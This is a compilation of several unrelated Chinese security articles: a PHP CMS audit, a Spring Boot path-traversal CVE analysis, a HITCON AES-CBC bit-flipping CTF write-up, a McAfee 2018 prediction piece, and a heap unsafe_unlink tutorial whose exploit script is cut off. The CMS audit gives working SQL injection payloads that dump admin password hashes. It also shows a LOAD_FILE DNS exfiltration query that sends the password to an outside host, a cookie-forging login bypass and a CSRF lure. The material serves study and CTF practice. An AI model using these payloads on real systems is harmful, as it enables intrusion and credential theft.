c_article_w.php
c_picture.php
c_picture_d.php
c_picture_w.php
c_spage.php
我们看看关于我们这个板块吧detail.php玩意
这里居然有一句更新语句：sql_query(‘update cms_detail set d_hits = d_hits + 1 where id =
‘.$_GET[‘id’].”);
好吧这玩意感觉没用，但是如果能够跳出safe.php和魔术引号还有non_numeric_back($_GET[‘id’],’非法字符’);
再看看feedback.php这个文件
如果$_POST触发了Save 然后 接受了后插入数据库，然后我们看了下输入的数据会处理，clear_html函数进行处理。
clear_html() 进行好几步处理，第一步，strip_tags() 去除所有html标签， trim()移出空格 preg_replace()
替换掉\f\n\r\t\v 为空，
利用arrtoinsert这个自定义函数将$_data
这个数组进行处理，将数组转换为insert语句的字符串。前台留言似乎前台看不到，数据库f_ok来决定是否在前台展示。
在看看sitemap.php文件，也没用什么东西，我们只能去后台看看吧
访问admin文件夹，发现index.php直接跳转到cms_login.php
它包含了cms_inc.php
(这个文件包含了很多文件，其实就是最前面分析过的4个，conn.php、library.php、config.php、function.php)
然后它写了验证码的机制
$_SESSION[‘verifycode’] != $_POST[‘verifycode’] 会报验证码错误
验证码机制的核心是system下面的verifycode.php文件，开启了session 然后创建了画布，和颜色，然后通过一下代码生成验证码。
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str)); //选择1-10
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
Mt_rand 实际上是个伪随机数我看看能不能算出来（算出来又有什么用？利用条件这么苛刻，没有必要往这条路去走，我们跳过这里吧）
然后正常后台登陆吧，看了校验机制。
登陆后会设置cookie，然后跳转到cms_channel.php文件
然后查看cms_channel文件，有了重大发现
他原本每个文件都会包含./system/safe.php
这个文件，现在进入后台居然不再包含,而去包含cms__check.php。说明什么？安全问题的本质是什么？是信任，这里很明显是因为登陆后台的就认定为管理员，然后开发信任管理员，将安全机制给去除了一部分。
然后本身包含inc也变为了cms_inc.php
那如果说cms_in.php中没有魔术引号，且cms_check.php没有防护代码，那么后台不就很危险了，然后我们尝试用CSRF，然后配合DNS log
注入。（完美）
走走走走~开车了~我们去看看cms_inc.php
他包含了几个文件，和inc差不多，唯一区别就是inc.php有这样一句话
$dir = dirname(__FILE__);
我们去寻找一下livrary.php文件中的第35行，没事了，魔术引号还在。
我们去看看cms__check.php这个文件吧，这文件就是一个检测Cookie的文件，他的检测机制还有点好玩~
每次访问页面居然直接通过cookie中的传参去查询数据库，那么我们是不是相当于这里绕过了验证码？
我们在非登陆状态，然后直接访问admin文件夹下面的cms_channel.php，然后填充Cookie
然后放包过去，然后成功的访问成功了
成功进入后台，这里审计出了第一个逻辑漏洞，验证码可绕过，我们尝试把密码放在字典里面，拿Burp去跑包试试看能不能。
拿md5的字典去跑
很明显，密码跑出来了，解密下密码就是admin
找到第一个漏洞，逻辑漏洞-验证码可绕过
感觉自己心情好了很多，之前看他的前台，看的好难受的，没想到后台一看就找到问题了。
来，我们继续回到cms_Channel.php
看到第三行，这里有个SQL语句，然后似乎del语句本身的传参，就没有引号，我们是不是可以直接SQL注入？
我尝试了一下报错了。
http://192.168.32.138/admin/cms_channel.php?del=123456
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
直接sqlmap能跑出来，报错注入和盲注
我偷懒了，直接贴sqlmap的payload吧
http://192.168.32.138:80/admin/cms_channel.php?del=123456 OR ROW(9594,6255)>(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT MID((IFNULL(CAST(a_password AS CHAR),0x20)),1,54) FROM fr.cms_admin ORDER BY a_password),0x71767a6b71,FLOOR(RAND(0)*2))x FROM (SELECT 8439 UNION SELECT 7584 UNION SELECT 8267 UNION SELECT 7159)a GROUP BY x)
密码被炸出来了，感觉美滋滋
那么后台怎么炸？其实可以多考虑一点，如果存在CSRF的话我们可以用CSRF配合dns log注入。Dns
log注入语句构建完毕（有魔术引号怕啥，我有16进制）（这里要Mysql的 load_file可以用）
http://192.168.32.138:80/admin/cms_channel.php?del=123456
and LOAD_FILE(CONCAT(0x5c5c5c5c,(SELECT a_password from cms_admin limit
0,1),0x2e6870307a79722e636579652e696f5c5c616263));
CSRF这个漏洞肯定存在，我到现在没有看到任何CSRF防护代码。
直接写一个img标签，然后藏在哪个网站首页，管理员去点击就中招
直接出密码了，这SQL注入还是有利用的意义的！！！
第二个漏洞，SQL注入
然后过了这块代码吧，del那个地方也是有问题的。
然后查看第22行的包含（没啥东西）
<?php include('./cms_inc_head.php') ?>
然后查看第25行和第64行的包含都没啥东西。
然后我们去看看其他文件吧
看看cms_admin.php文件
这个文件第8行又出现了这样的语句
这里是什么情况，这个确定不是再逗我么？
判断传参是否存在，传参存在就执行弹窗。传参不存在执行else部分。。。
这个地方写的很有问题。。。这个删除功能是失效的。
看到第30行
很明显，我们控制住a_tname传参就可以尝试SQL注入，我把这个代码单独拿了出来
很明显我们可以构建a_tname的传参就可以控制SQL注入。
a_tname= bbb" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1) --+
但是这有魔术引号，看来是不行了。
查看现有页面，发现输出
可以尝试存储型XSS
轻松的获取Cookie
依靠CSRF，可以直接打后台XSS偷取管理员的Cookie。
我们再看看cms_admin_edit.php文件
这里很明显有个id传参。这里应该可以SQL注入，我也就直接Sqlmap了吧
这个地方也可以配合CSRF+Dns log来获取密码
第40行也有问题
这里还能联合查询呢
## 0×03 总结
其实该CMS所存在的漏洞不仅仅只有这些，我文章中的这些也只是一个抛砖引玉，只是为了阐述通读全文的审计方法，如果我文章中有什么写的可以再改进的地方，可以随时联系我！谢谢大家花费了时间来读在下的粗鄙小文，谢谢大家。 | 社区文章 |
### 前言
日常搬砖过程中在github发现的一个CVE，<https://github.com/ARPSyndicate/kenzer-templates/blob/1f1dd550ddbde72cbe378452973b93b3e62003f5/jaeles/cvescan/medium/CVE-2021-21234.yam>
看着带了springboot就分析了下
### 环境搭建
git clone <https://github.com/cristianeph/vulnerability-actuator-log-viewer>
启动之后访问 <http://localhost:8887/manage/log/>
### 漏洞复现分析
根据springboot启动日志发现/log/view
对应的方法为eu.hinsch.spring.boot.actuator.logview.LogViewEndpoint.view
对应代码
@RequestMapping("/view")
public void view(@RequestParam String filename,
@RequestParam(required = false) String base,
@RequestParam(required = false) Integer tailLines,
HttpServletResponse response) throws IOException {
securityCheck(filename);
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
Path path = loggingPath(base);
FileProvider fileProvider = getFileProvider(path);
if (tailLines != null) {
fileProvider.tailContent(path, filename, response.getOutputStream(), tailLines);
}
else {
fileProvider.streamContent(path, filename, response.getOutputStream());
}
}
先从RequestParam获取filename参数，然后调用securityCheck进行检查，判断filename是否包含..
安全检查通过之后，将application.properties中logging.path和base拼接，返回path，base从RequestParam获取，并未经过securityCheck
然后生成fileProvider 在调用 streamContent
将path和base拼接，然后用fileinputstream打开，造成任意文件读取 | 社区文章 |
# 从一道题看cbc攻击-HITCONCTF2017-SecretServer
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前话
xman处看到一题特别有意思的题目，问了下老师，恍然大悟。
## 题目
题目源码:
import os, base64, time, random, string
from Crypto.Cipher import AES
from Crypto.Hash import *
key = os.urandom(16)
def pad(msg):
pad_length = 16-len(msg)%16
return msg+chr(pad_length)*pad_length
def unpad(msg):
return msg[:-ord(msg[-1])]
def encrypt(iv,msg):
msg = pad(msg)
cipher = AES.new(key,AES.MODE_CBC,iv)
encrypted = cipher.encrypt(msg)
return encrypted
def decrypt(iv,msg):
cipher = AES.new(key,AES.MODE_CBC,iv)
decrypted = cipher.decrypt(msg)
decrypted = unpad(decrypted)
return decrypted
def send_msg(msg):
iv = '2jpmLoSsOlQrqyqE'
encrypted = encrypt(iv,msg)
msg = iv+encrypted
msg = base64.b64encode(msg)
print msg
return
def recv_msg():
msg = raw_input()
try:
msg = base64.b64decode(msg)
assert len(msg)<500
decrypted = decrypt(msg[:16],msg[16:])
return decrypted
except:
print 'Error'
exit(0)
def proof_of_work():
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)])
digest = SHA256.new(proof).hexdigest()
print "SHA256(XXXX+%s) == %s" % (proof[4:],digest)
x = raw_input('Give me XXXX:')
if len(x)!=4 or SHA256.new(x+proof[4:]).hexdigest() != digest:
exit(0)
print "Done!"
return
if __name__ == '__main__':
proof_of_work()
with open('flag.txt') as f:
flag = f.read().strip()
assert flag.startswith('hitcon{') and flag.endswith('}')
send_msg('Welcome!!')
while True:
try:
msg = recv_msg().strip()
if msg.startswith('exit-here'):
exit(0)
elif msg.startswith('get-flag'):
send_msg(flag)
elif msg.startswith('get-md5'):
send_msg(MD5.new(msg[7:]).digest())
elif msg.startswith('get-time'):
send_msg(str(time.time()))
elif msg.startswith('get-sha1'):
send_msg(SHA.new(msg[8:]).digest())
elif msg.startswith('get-sha256'):
send_msg(SHA256.new(msg[10:]).digest())
elif msg.startswith('get-hmac'):
send_msg(HMAC.new(msg[8:]).digest())
else:
send_msg('command not found')
except:
exit(0)
这里我们能够得到的信息是:
一个固定的iv:`2jpmLoSsOlQrqyqE`
一个已知的明文:`Welcome!!`
返回并得到加密之后的结果，而我们可以看到解密的结果是这样组成的。
`MmpwbUxvU3NPbFFycXlxRc/vKRt4fANSEpCk0agly4E=`
base64解密之后得到的是iv+decryption:
`2jpmLoSsOlQrqyqE + D(Welcome!!)`
如果最后后端解密出来的明文中存在某些特定的命令，就能跳转到相应的函数，所以如果我们能够控制解密出来的明文，那么就能执行任意命令了。那么如何做到呢？
## 精彩的异或执行任意命令
到了最精彩的地方了，注意别眨眼！
* D(密文) = “Welcome!!” ^ IV1
* 明文 = D(密文) ^ IV2
* 明文 = “Welcome!!” ^ IV1 ^ IV2
其中”Welcome!!” 和 IV1无法改变，所以如果能改变IV2,就能改变明文。这时候我们这么操作:
IV2 = “Welcome” ^ IV1 ^ “控制的字符串”
这样明文就会变成”控制的字符串了,具体实现函数为:
def strxor(str1, str2):
return ''.join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(str1, str2)])
def flipplain(oldplain, newplain, iv):
"""flip oldplain to new plain, return proper iv"""
return strxor(strxor(oldplain, newplain), iv)
get_flag_iv = flipplain(pad("Welcome!!"), pad("get-flag"), iv_encrypt)
msg = base64.b64encode(get_flag_iv + base64.b64decode(msg)[16:])
最后的结果用中间量输出，可以看出已经成功的将最后解密明文控制住了。(太精彩了这一步):
下面根据最后的命令执行：
if msg.startswith('exit-here'):
exit(0)
if msg.startswith('get-flag'):
send_msg(flag)
elif msg.startswith('get-md5'):
send_msg(MD5.new(msg[7:]).digest())
elif msg.startswith('get-time'):
send_msg(str(time.time()))
elif msg.startswith('get-sha1'):
send_msg(SHA.new(msg[8:]).digest())
elif msg.startswith('get-sha256'):
send_msg(SHA256.new(msg[10:]).digest())
elif msg.startswith('get-hmac'):
send_msg(HMAC.new(msg[8:]).digest())
else:
send_msg('command not found')
如果还是没理解，建议对照下面的图再重新理一遍思路。
## unpad非法截断枚举flagMd5得flag
我们已经能得到flag的加密的值了。但是这还不够，还得得到flag的明文。这个时候去关注其他的命令，观察到`send_msg(MD5.new(msg[7:]).digest())`这条命令，他最后能将解密出来的字符串除去前七位的md5的值而flag的类型为hitcon{}，前七位刚好是`hitcon{`,我们知道aes加解密过程是不依赖于iv的，而`get-md5`正好是7位,也就是说我们按照上面的思路：
new_iv = flipplain(pad("hitcon{"), pad("get-md5"), iv_encrypt)
msg = base64.b64encode(new_iv + cipher_flag + last_byte_iv + cipher_welcome)
最后能得到’get-md5’+flag[7:]的加密值，跳进去get-md5命令之后就能得到MD5(flag[7:])的值，不过这还不够，我们观察:
def unpad(msg):
return msg[:-ord(msg[-1])]
unpad函数并没有校验msg[-1]是否合法，所以我们根据这个bug函数+aes的分组链接模式(下一个密文解密的iv由上一个密文充当，为此深夜打扰了一波iromise)，所以我们可以接着拼接一段
iv2+cipher
，让iv2[-1]足够大，大到从末端切割掉flag[7:]的尾巴，假设切割到只剩下一位，则我们可以得到`MD5(flag[7:8])`,然后我们暴力枚举，发送字符串到服务器，匹配正确的密文就能找到flag[7:8]。同理得到flag[7:8]之后开始爆破flag[7:9],因为这时候你知道了flag[7:8],实际上也只要爆破一位，以此类推就能得到flag。具体代码见:
<https://github.com/ctf-wiki/ctf-challenges/blob/master/crypto/blockcipher/padding-oracle-attack/2017_hitcon_secret_server/exp.py>
## 后话
(tips: 其中52-53行的`new_iv = flipplain("hitcon{".ljust(16, 'x00'), "get-md5".ljust(16, 'x00'), iv_encrypt)`可以替换成我上面说的`new_iv =
flipplain(pad("hitcon{"), pad("get-md5"),
iv_encrypt)`,因为iv并不影响aes解密过程，所以也无妨，只能说liubaozheng老师想的更加细致了。) | 社区文章 |
# McAfee预测2018年网络安全趋势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 机器学习的“军备竞赛”
机器学习可以处理大量的数据，并能够大规模地执行操作来检测和纠正已知的漏洞、可疑行为，以及零日攻击。
但是网络黑客正在利用机器学习为他们的攻击提供技术支持，从防御反应中学习，试图破坏检测模型，并能比防御者更快地利用新发现的漏洞。
为了赢得技术竞争，McAfee公司建议政企机构必须有效地提高机器判断力和人类战略智力的协调速度。报告指出只有这样，政企机构才能够理解和预测袭击将如何发生，即使以前从未见过的攻击。
## 勒索软件攻击者：新的目标和技术
由于用户采用了安全厂商的防御软件和解决方案，以及加强防范教育和安全策略，传统的勒索软件活动的盈利能力将会继续下降。网络攻击者将调整目标，从传统的目标转向利润更高的勒索目标，其中包括高净值个人、连接设备和企业。
从传统角度看，勒索软件技术的应用将超越个人勒索、网络破坏，以及组织破坏的目标。这种攻击将带来更大破坏和更大财务影响的威胁，这不仅会引发网络犯罪“商业模式”的新变种，而且会开始加快推动网络保险市场的扩张。
## 无服务器应用程序：降低成本，同时增加攻击面
无服务器应用程序将实现更大的粒度，如更快的服务计费。但是它们容易受到利用特权升级和应用程序依赖性的攻击。
这些应用程序也容易受到通过网络传输数据的攻击，并可能遭受暴力拒绝服务攻击，由于无服务器体系结构无法扩展，并造成成本高昂的服务中断。
功能开发和部署过程必须包括必要的安全过程，可扩展性功能必须是可用的，并且流量必须通过VPN或加密进行适当的保护。
## 连接家庭设备
家庭设备制造商和服务提供商将通过网络连接设备收集更多的个人数据(无论客户是否同意)，希望通过对家庭的销售和推广来获得更大的利润空间。企业营销人员具备强大的动机来观察消费者行为，以便了解设备所有者的购买需求和偏好。
这是因为客户很少阅读隐私协议，因此在部署设备和服务以获取更多的信息和收入之后，企业会频繁更改隐私协议。
McAfee公司认为，对那些进行从事违法计算、勒索软件、泄露数据和隐私的公司来说，这会为用户带来严重的后果，而他们认为这样做有利可图。
## 收集未成年人的数字内容的公司将面临长期声誉风险
在追求用户应用“粘性”的过程中，企业将更积极地启用和收集未成年人用户生成的内容。2018年，家长将意识到企业对于未成年人产生的数字内容有着严重的滥用行为，并在考虑这些做法对自己孩子是否有长期影响。
McAfee公司认为，许多未成年人将会背负负面的“数字包袱”，用户在应用程序环境中开发的用户内容尚未定义或执行适当的指导方针，而且用户界面如此亲密，以至于儿童及其父母不考虑创建内容的后果，这有可能被企业滥用。
在竞争激烈的应用环境中，这种“粘性”很容易变得“不稳定”，而那些具有进取性、前瞻性的应用程序和服务将会让未成年人认识到自己成为与家长合作的品牌建设的价值。 | 社区文章 |
# How2Heap堆利用学习笔记（三）：Unsafe_unlink
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这里是How2Heap学习的第三部分，Unsafe_Unlink。
Unlink是堆利用中最典型的技术之一，早期的Unlink技术能让攻击者非常轻易的实现一个任意地址写。在近现代的glibc中，为unlink操作添加了一些检查机制，但是通过一些精妙的绕过手法，unlink技术也并非彻底被埋没。
## 0x01 Unsafe_Unlink
### 前置知识
Unlink故名思义，取消链接，是内存管理对堆块（chunk）的一种拆离手段。简单来说，就是将一个chunk从双向链表中拆离下来。显然，这种利用Unlink的手段针对的是除fastbin以外的其他几个bin链。
_Unlink的原理图（摘自CTFwiki）_
unlink的define在 _malloc/malloc.c_ 文件中
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
...
在早期的unlink利用技术中，常常选择覆盖堆块P的fd和bk值。例如将P->fd覆盖为需要写的地址`-3*sizeof(int)`的位置，然后将P->bk覆盖为要写入的数据，在CTF中经常使用one_gadget来覆盖got表，实现getshell。
而现代glibc中为unlink添加了数条检查命令（本实验只需关注其中的一条），试图延缓攻击者对unlink的利用。笔者的glibc版本为2.23，与ubuntu16.04的默认glibc版本相符。
* 检测P的fd的bk是否指向P，P的bk的fd是否指向P。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
**_绕过方式_**
绕过方式也很简单，但是需要一定的条件。
我们需要一个全局变量，最好程序编译选项没有添加PIE。
因为指针检查`P->fd->bk==P`，所以如果我们的P值是一个全局变量，这样P的指针地址就能够确定。如果将fd改为`&P-sizeof(int)*3`，当P->fd对bk进行解引用的时候就会发现，bk==P，成功绕过检查。当然，同样的操作对`P->bk->fd==P`检查也是一样的解决方法，即将bk改为`&P-sizeof(int)*2`。
当我们绕过了检测部分，程序就会开始真正的unlink。观察此时的内存，会发现我们全局指针P被改为了`&P-sizeof(int)*3`，其实也非常好理解，我们的FD值被赋值给了BK->fd,而fd被我们修改为了`&P-sizeof(int)*3`。
p->fd->bk=p->bk //FD->bk = BK;
p->bk->fd=p->fd //BK->fd = FD;
也就是说，如果此时我们能对堆块P进行写入，就能够控制P指针本身的值，接下来就可以很容易地实现任意地址读写。
**_最后，我们来看一下unlink的触发条件_**
在_int_free函数中出发unlink的两种情况，在free一个非fastbin大小的chunk时，会对前后的chunk进行检测，如果前后的chunk存在被free的状态，则会进行合并。合并之前自然也需要用unlink将其从链表上取下来。
前一种情况我们在上一篇[文章](https://www.anquanke.com/post/id/193132)的 **实例分析** 中也提到过。
* 当检测到prev_inuse为0，即上一个chunk被free，则会触发unlink。会根据presize值，确定前一个chunk的大小，然后将prechunk和当前chunk（p）合并。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize; //size相加
p = chunk_at_offset(p, -((long) prevsize));//获取前一个chunk的起始地址，存放在p中
unlink(av, p, bck, fwd);
}
* 当检测到nextinuse为0，即下一个chunk被free，也会触发unlink
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
`prev_inuse`是p->size的最低位，用于存储上一个chunk是否被释放的信息。检测该位的宏定义
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
需要注意的是，此处指的上一个和下一个chunk是物理空间相邻的。
### 代码分析
unsafe_unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.nn");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);
fprintf(stderr, "We create a fake chunk inside chunk0.n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == Falsen");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %pn",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %pnn",(void*) chunk0_ptr[3]);
fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordinglyn");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %pn",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.nn");
chunk1_hdr[1] &= ~1;
fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344nn");
free(chunk1_ptr);
fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.n");
fprintf(stderr, "Original value: %sn",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %sn",victim_string);
}
程序申请了一个全局变量`uint64_t *chunk0_ptr;`通过反汇编可以看到，或者readelf
-S，全局变量的地址是编译在ELF里的，在不开启PIE的情况下，这个地址是不会变化的。
申请两个堆块，并将chunk0的地址保存到全局变量chunk0_ptr中，malloc_size需要大于64，否则会被free到fastbin中。
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
修改chunk0的fd和bk，按照之前的绕过方式来覆写FD和BK。我们在chunk0中创建了一个fakechunk。
当然，其实fakechunk的具体位置都是我们自定义的，只需要让pre size这个参数被覆盖的恰到好处(下文会讲)，能够指向我们的fake
chunk即可。典型的案例还是可以追溯到我们上个文章的[案例分析2](https://www.anquanke.com/post/id/193132#h3-6)。
这些操作是通过指针直接操作的，仅仅方便演示。在实际的漏洞利用中，可以通过堆溢出/Double Free来实现FD和BK的覆写。
fprintf(stderr, "We create a fake chunk inside chunk0.n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == Falsen");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
gef➤ x/20xg 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000091 <--chunk0
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060 <--P->fd P->bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <--chunk1
我们需要在chunk1处，将pre size位写为一个合适的数据。Unlink之前，程序会根据presize来寻找要合并的chunk的头部。
这里因为我们的fakechunk和chunk0的头部相同，所以size也就直接沿用chunk0的size即可。
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordinglyn");
chunk1_hdr[0] = malloc_size;
将pre inuse设置为0，这样才能触发合并，产生Unlink。
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.nn");
chunk1_hdr[1] &= ~1;
触发合并，让我们从内存层面来了解一下这个过程。
fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.n");
free(chunk1_ptr);
触发合并之前
gef➤ x/20xg 0x602070-0x20
0x602050: 0x0000000000000000 0x0000000000000000
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540 0x0000000000000000
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000
触发之后，修改了全局变量ptr的值。
gef➤ x/20xg 0x602070-0x20
0x602050: 0x0000000000000000 0x0000000000000000
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540 0x0000000000000000
0x602070 <chunk0_ptr>: 0x0000000000602058 <--修改为FD的值 0x0000000000000000
通过对chunk0_ptr进行写入，能够实现修改任意一块地址的数据。案例中我们修改了一个字符串的数据，并且打印了出来。
fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.n");
fprintf(stderr, "Original value: %sn",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %sn",victim_string);
## 0x02 案例分析
### HITCON CTF 2014-stkof
HITCON一道比较经典的题目，难度也比较低，非常适合作为unlink的原理解析。当然，这道题的漏洞问题比较大，解法不唯一，除了Unlink以外，使用fastbin
attack也可以解决。
[下载链接](https://github.com/ctfs/write-ups-2014/blob/master/hitcon-ctf-2014/stkof/a679df07a8f3a8d590febad45336d031-stkof)
**题目分析**
题目给的二进制文件比较简单，源代码应该是一个`switch case`的结构，反汇编后的伪代码如下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(&nptr, 10, stdin) ) //获取输入
{
v3 = atoi(&nptr);
if ( v3 == 2 )
{
v5 = sub_4009E8(); //向堆块写入数据
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = sub_400B07();//释放堆块
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = sub_400BA9();//Useless
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = sub_400936();//申请堆块
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
使用pwntools来编写交互接口，前三个操作分别为分配内存，写入数据，释放内存，第四个操作是useless的。
漏洞存在于write部分，程序并没有规定写入数据的长度，导致产生heap overflow。
def malloc(size):
p.sendline("1")
p.sendline(size)
def write(chunk,size,strs):
p.sendline("2")
p.sendline(chunk)
p.sendline(size)
p.sendline(strs)
def free(chunk):
p.sendline("3")
p.sendline(chunk)
**利用手法**
我们申请五个内存块，大小为0x80字节（small
bin的大小）此处的第一个chunk属于无用chunk，申请后的空间与之后的chunk内存空间不连续。主要实现unlink的是中间的三个chunk（2，3，4），创建chunk5在chunk4和topchunk之间，是为了防止chunk4在free时，被top
chunk直接合并，导致unlink失败。
#Unlink
malloc("128") #chunk1 use later
malloc("128") #chunk2
malloc("128") #chunk3
malloc("128") #chunk4
malloc("128") #chunk5 avoid topchunk
free("3") # free chunk3-->unsort bins
#write("2",,) #wirte chunk2 heap overflow -->chunk3(free)
free("4") #unlink
第一次free chunk3，查看unsort bins。只有一个chunk3连接在bins。
gef➤ heap bins unsorted
────────────────────[ Unsorted Bin for arena 'main_arena' ]────────────────────
[+] Found base for bin(0): fw=0x184a540, bk=0x184a540
→ FreeChunk(addr=0x184a550,size=0x90)
然后free chunk4 ，查看unsrot bins，发现还是只有一个chunk，但是这个chunk其实是chunk3和chunk4的合并，在free
chunk4的过程中，调用了unlink(chunk3)。
gef➤ heap bins unsorted
────────────────────[ Unsorted Bin for arena 'main_arena' ]────────────────────
[+] Found base for bin(0): fw=0x184a540, bk=0x184a540
→ FreeChunk(addr=0x184a550,size=0x120)
于是我们构造Unlink，当然与上文不同的是我们并不能真的将chunk3
free，因为我们需要chunk的指针还在数组中，作为绕过unlink检查机制的一部分。
如何进行Overflow。
* 覆盖PRE INUSE位为0，就可以伪造上一个chunk为free
* 覆盖 PRE SIZE，这样可以自由控制fake chunk 的大小。
**触发Unlink**
代码如下，我们在chunk2中构造了一个0x80的fake chunk。
#Unlink
malloc("128") #chunk1 use later
malloc("128") #chunk2
malloc("128") #chunk3
malloc("128") #chunk4 avoid topchunk
global_ptr=0x602150
sizeofint=8
